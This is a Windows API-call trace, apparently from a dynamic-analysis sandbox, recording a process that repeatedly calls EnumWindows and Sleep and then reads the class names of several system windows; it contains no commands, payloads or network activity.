[0259.797] Sleep (dwMilliseconds=0x64) [0259.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.799] Sleep (dwMilliseconds=0x64) [0259.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.800] Sleep (dwMilliseconds=0x64) [0259.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.802] Sleep (dwMilliseconds=0x64) [0259.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.804] Sleep (dwMilliseconds=0x64) [0259.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.805] Sleep (dwMilliseconds=0x64) [0259.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.806] Sleep (dwMilliseconds=0x64) [0259.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.808] Sleep (dwMilliseconds=0x64) [0259.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.810] Sleep (dwMilliseconds=0x64) [0259.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.872] Sleep (dwMilliseconds=0x64) [0259.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.932] Sleep (dwMilliseconds=0x64) [0259.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.934] Sleep (dwMilliseconds=0x64) [0259.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.935] Sleep (dwMilliseconds=0x64) [0259.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.937] Sleep (dwMilliseconds=0x64) [0259.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0259.965] Sleep (dwMilliseconds=0x64) [0260.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.251] Sleep (dwMilliseconds=0x64) [0260.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.284] Sleep (dwMilliseconds=0x64) [0260.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.415] Sleep (dwMilliseconds=0x64) [0260.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.416] Sleep (dwMilliseconds=0x64) [0260.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.421] Sleep (dwMilliseconds=0x64) [0260.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.423] Sleep (dwMilliseconds=0x64) [0260.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.424] Sleep (dwMilliseconds=0x64) [0260.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.426] Sleep (dwMilliseconds=0x64) [0260.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.428] Sleep (dwMilliseconds=0x64) [0260.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.429] Sleep (dwMilliseconds=0x64) [0260.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.432] Sleep (dwMilliseconds=0x64) [0260.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.433] Sleep (dwMilliseconds=0x64) [0260.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.435] Sleep (dwMilliseconds=0x64) [0260.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.437] Sleep (dwMilliseconds=0x64) [0260.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.438] Sleep (dwMilliseconds=0x64) [0260.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.440] Sleep (dwMilliseconds=0x64) [0260.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.442] Sleep (dwMilliseconds=0x64) [0260.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.444] Sleep (dwMilliseconds=0x64) [0260.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.470] Sleep (dwMilliseconds=0x64) [0260.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.556] Sleep (dwMilliseconds=0x64) [0260.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.568] Sleep (dwMilliseconds=0x64) [0260.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.570] Sleep (dwMilliseconds=0x64) [0260.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.572] Sleep (dwMilliseconds=0x64) [0260.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.573] Sleep (dwMilliseconds=0x64) [0260.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.585] Sleep (dwMilliseconds=0x64) [0260.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.594] Sleep (dwMilliseconds=0x64) [0260.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.703] Sleep (dwMilliseconds=0x64) [0260.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.705] Sleep (dwMilliseconds=0x64) [0260.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.707] Sleep (dwMilliseconds=0x64) [0260.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.709] Sleep (dwMilliseconds=0x64) [0260.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.710] Sleep (dwMilliseconds=0x64) [0260.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.712] Sleep (dwMilliseconds=0x64) [0260.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.713] Sleep (dwMilliseconds=0x64) [0260.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.715] Sleep (dwMilliseconds=0x64) [0260.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.726] Sleep (dwMilliseconds=0x64) [0260.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.728] Sleep (dwMilliseconds=0x64) [0260.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.729] Sleep (dwMilliseconds=0x64) [0260.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.731] Sleep (dwMilliseconds=0x64) [0260.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.735] Sleep (dwMilliseconds=0x64) [0260.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.772] Sleep (dwMilliseconds=0x64) [0260.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.861] Sleep (dwMilliseconds=0x64) [0260.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.862] Sleep (dwMilliseconds=0x64) [0260.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.865] Sleep (dwMilliseconds=0x64) [0260.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.866] Sleep (dwMilliseconds=0x64) [0260.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.868] Sleep (dwMilliseconds=0x64) [0260.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.869] Sleep (dwMilliseconds=0x64) [0260.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.871] Sleep (dwMilliseconds=0x64) [0260.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.888] Sleep (dwMilliseconds=0x64) [0260.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0260.890] Sleep (dwMilliseconds=0x64) [0261.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.003] Sleep (dwMilliseconds=0x64) [0261.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.004] Sleep (dwMilliseconds=0x64) [0261.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.006] Sleep (dwMilliseconds=0x64) [0261.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.085] Sleep (dwMilliseconds=0x64) [0261.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.180] Sleep (dwMilliseconds=0x64) [0261.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.215] Sleep (dwMilliseconds=0x64) [0261.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.217] Sleep (dwMilliseconds=0x64) [0261.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.228] Sleep (dwMilliseconds=0x64) [0261.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.241] Sleep (dwMilliseconds=0x64) [0261.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.243] Sleep (dwMilliseconds=0x64) [0261.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.249] Sleep (dwMilliseconds=0x64) [0261.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.360] Sleep (dwMilliseconds=0x64) [0261.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.362] Sleep (dwMilliseconds=0x64) [0261.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.364] Sleep (dwMilliseconds=0x64) [0261.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.366] Sleep (dwMilliseconds=0x64) [0261.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.368] Sleep (dwMilliseconds=0x64) [0261.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.370] Sleep (dwMilliseconds=0x64) [0261.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.372] Sleep (dwMilliseconds=0x64) [0261.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.374] Sleep (dwMilliseconds=0x64) [0261.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.376] Sleep (dwMilliseconds=0x64) [0261.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.699] Sleep (dwMilliseconds=0x64) [0261.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.820] Sleep (dwMilliseconds=0x64) [0261.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.830] Sleep (dwMilliseconds=0x64) [0261.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.832] Sleep (dwMilliseconds=0x64) [0261.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.836] Sleep (dwMilliseconds=0x64) [0261.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.843] Sleep (dwMilliseconds=0x64) [0261.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.845] Sleep (dwMilliseconds=0x64) [0261.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.853] Sleep (dwMilliseconds=0x64) [0261.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.888] Sleep (dwMilliseconds=0x64) [0261.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.965] Sleep (dwMilliseconds=0x64) [0261.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.967] Sleep (dwMilliseconds=0x64) [0261.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.969] Sleep (dwMilliseconds=0x64) [0261.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.971] Sleep (dwMilliseconds=0x64) [0261.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.973] Sleep (dwMilliseconds=0x64) [0261.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.975] Sleep (dwMilliseconds=0x64) [0261.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.977] Sleep (dwMilliseconds=0x64) [0261.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.978] Sleep (dwMilliseconds=0x64) [0261.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.980] Sleep (dwMilliseconds=0x64) [0261.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.981] Sleep (dwMilliseconds=0x64) [0261.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.983] Sleep (dwMilliseconds=0x64) [0261.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.984] Sleep (dwMilliseconds=0x64) [0261.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.986] Sleep (dwMilliseconds=0x64) [0261.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0261.988] Sleep (dwMilliseconds=0x64) [0262.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.072] Sleep (dwMilliseconds=0x64) [0262.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.193] Sleep (dwMilliseconds=0x64) [0262.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.195] Sleep (dwMilliseconds=0x64) [0262.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.197] Sleep (dwMilliseconds=0x64) [0262.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.200] Sleep (dwMilliseconds=0x64) [0262.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.202] Sleep (dwMilliseconds=0x64) [0262.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.218] Sleep (dwMilliseconds=0x64) [0262.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.221] Sleep (dwMilliseconds=0x64) [0262.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.407] Sleep (dwMilliseconds=0x64) [0262.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.410] Sleep (dwMilliseconds=0x64) [0262.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.412] Sleep (dwMilliseconds=0x64) [0262.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.413] Sleep (dwMilliseconds=0x64) [0262.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.415] Sleep (dwMilliseconds=0x64) [0262.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.417] Sleep (dwMilliseconds=0x64) [0262.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.428] Sleep (dwMilliseconds=0x64) [0262.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.430] Sleep (dwMilliseconds=0x64) [0262.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.432] Sleep (dwMilliseconds=0x64) [0262.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.443] Sleep (dwMilliseconds=0x64) [0262.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.460] Sleep (dwMilliseconds=0x64) [0262.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.550] Sleep (dwMilliseconds=0x64) [0262.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.561] Sleep (dwMilliseconds=0x64) [0262.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.563] Sleep (dwMilliseconds=0x64) [0262.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.564] Sleep (dwMilliseconds=0x64) [0262.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.566] Sleep (dwMilliseconds=0x64) [0262.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.567] Sleep (dwMilliseconds=0x64) [0262.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.569] Sleep (dwMilliseconds=0x64) [0262.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.570] Sleep (dwMilliseconds=0x64) [0262.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.572] Sleep (dwMilliseconds=0x64) [0262.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.573] Sleep (dwMilliseconds=0x64) [0262.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.575] Sleep (dwMilliseconds=0x64) [0262.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.579] Sleep (dwMilliseconds=0x64) [0262.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.581] Sleep (dwMilliseconds=0x64) [0262.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.690] Sleep (dwMilliseconds=0x64) [0262.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.695] Sleep (dwMilliseconds=0x64) [0262.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.761] Sleep (dwMilliseconds=0x64) [0262.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.771] Sleep (dwMilliseconds=0x64) [0262.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.859] Sleep (dwMilliseconds=0x64) [0262.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.861] Sleep (dwMilliseconds=0x64) [0262.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.863] Sleep (dwMilliseconds=0x64) [0262.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.865] Sleep (dwMilliseconds=0x64) [0262.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.866] Sleep (dwMilliseconds=0x64) [0262.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.876] Sleep (dwMilliseconds=0x64) [0262.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0262.893] Sleep (dwMilliseconds=0x64) [0263.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.004] Sleep (dwMilliseconds=0x64) [0263.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.014] Sleep (dwMilliseconds=0x64) [0263.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.024] Sleep (dwMilliseconds=0x64) [0263.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.025] Sleep (dwMilliseconds=0x64) [0263.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.065] Sleep (dwMilliseconds=0x64) [0263.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.167] Sleep (dwMilliseconds=0x64) [0263.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.202] Sleep (dwMilliseconds=0x64) [0263.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.204] Sleep (dwMilliseconds=0x64) [0263.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.206] Sleep (dwMilliseconds=0x64) [0263.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.207] Sleep (dwMilliseconds=0x64) [0263.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.210] Sleep (dwMilliseconds=0x64) [0263.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.214] Sleep (dwMilliseconds=0x64) [0263.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.215] Sleep (dwMilliseconds=0x64) [0263.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.217] Sleep (dwMilliseconds=0x64) [0263.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.218] Sleep (dwMilliseconds=0x64) [0263.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.220] Sleep (dwMilliseconds=0x64) [0263.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.221] Sleep (dwMilliseconds=0x64) [0263.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.224] Sleep (dwMilliseconds=0x64) [0263.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.226] Sleep (dwMilliseconds=0x64) [0263.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.229] Sleep (dwMilliseconds=0x64) [0263.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.231] Sleep (dwMilliseconds=0x64) [0263.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.373] Sleep (dwMilliseconds=0x64) [0263.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.375] Sleep (dwMilliseconds=0x64) [0263.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.376] Sleep (dwMilliseconds=0x64) [0263.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.378] Sleep (dwMilliseconds=0x64) [0263.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.379] Sleep (dwMilliseconds=0x64) [0263.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.381] Sleep (dwMilliseconds=0x64) [0263.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.384] Sleep (dwMilliseconds=0x64) [0263.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.385] Sleep (dwMilliseconds=0x64) [0263.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.388] Sleep (dwMilliseconds=0x64) [0263.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.390] Sleep (dwMilliseconds=0x64) [0263.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.391] Sleep (dwMilliseconds=0x64) [0263.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.393] Sleep (dwMilliseconds=0x64) [0263.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.396] Sleep (dwMilliseconds=0x64) [0263.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.397] Sleep (dwMilliseconds=0x64) [0263.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.399] Sleep (dwMilliseconds=0x64) [0263.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.401] Sleep (dwMilliseconds=0x64) [0263.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.403] Sleep (dwMilliseconds=0x64) [0263.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.527] Sleep (dwMilliseconds=0x64) [0263.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.528] Sleep (dwMilliseconds=0x64) [0263.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.531] Sleep (dwMilliseconds=0x64) [0263.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.532] Sleep (dwMilliseconds=0x64) [0263.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.535] Sleep (dwMilliseconds=0x64) [0263.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.537] Sleep (dwMilliseconds=0x64) [0263.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.539] Sleep (dwMilliseconds=0x64) [0263.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.541] Sleep (dwMilliseconds=0x64) [0263.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.543] Sleep (dwMilliseconds=0x64) [0263.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.545] Sleep (dwMilliseconds=0x64) [0263.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.547] Sleep (dwMilliseconds=0x64) [0263.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.549] Sleep (dwMilliseconds=0x64) [0263.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.551] Sleep (dwMilliseconds=0x64) [0263.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.553] Sleep (dwMilliseconds=0x64) [0263.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.554] Sleep (dwMilliseconds=0x64) [0263.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.556] Sleep (dwMilliseconds=0x64) [0263.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.628] Sleep (dwMilliseconds=0x64) [0263.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.697] Sleep (dwMilliseconds=0x64) [0263.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.701] Sleep (dwMilliseconds=0x64) [0263.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.703] Sleep (dwMilliseconds=0x64) [0263.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.705] Sleep (dwMilliseconds=0x64) [0263.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.706] Sleep (dwMilliseconds=0x64) [0263.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.716] Sleep (dwMilliseconds=0x64) [0263.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.727] Sleep (dwMilliseconds=0x64) [0263.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.854] Sleep (dwMilliseconds=0x64) [0263.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.865] Sleep (dwMilliseconds=0x64) [0263.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.867] Sleep (dwMilliseconds=0x64) [0263.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.877] Sleep (dwMilliseconds=0x64) [0263.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.879] Sleep (dwMilliseconds=0x64) [0263.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.883] Sleep (dwMilliseconds=0x64) [0263.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.886] Sleep (dwMilliseconds=0x64) [0263.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.955] Sleep (dwMilliseconds=0x64) [0263.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0263.997] Sleep (dwMilliseconds=0x64) [0263.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.000] Sleep (dwMilliseconds=0x64) [0264.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.001] Sleep (dwMilliseconds=0x64) [0264.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.004] Sleep (dwMilliseconds=0x64) [0264.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.005] Sleep (dwMilliseconds=0x64) [0264.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.007] Sleep (dwMilliseconds=0x64) [0264.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.010] Sleep (dwMilliseconds=0x64) [0264.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.011] Sleep (dwMilliseconds=0x64) [0264.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.013] Sleep (dwMilliseconds=0x64) [0264.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.018] Sleep (dwMilliseconds=0x64) [0264.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0264.019] Sleep (dwMilliseconds=0x64) [0264.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) returned 1 [0264.021] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0264.021] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0264.021] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0264.021] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.021] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.022] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.022] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.022] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.022] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 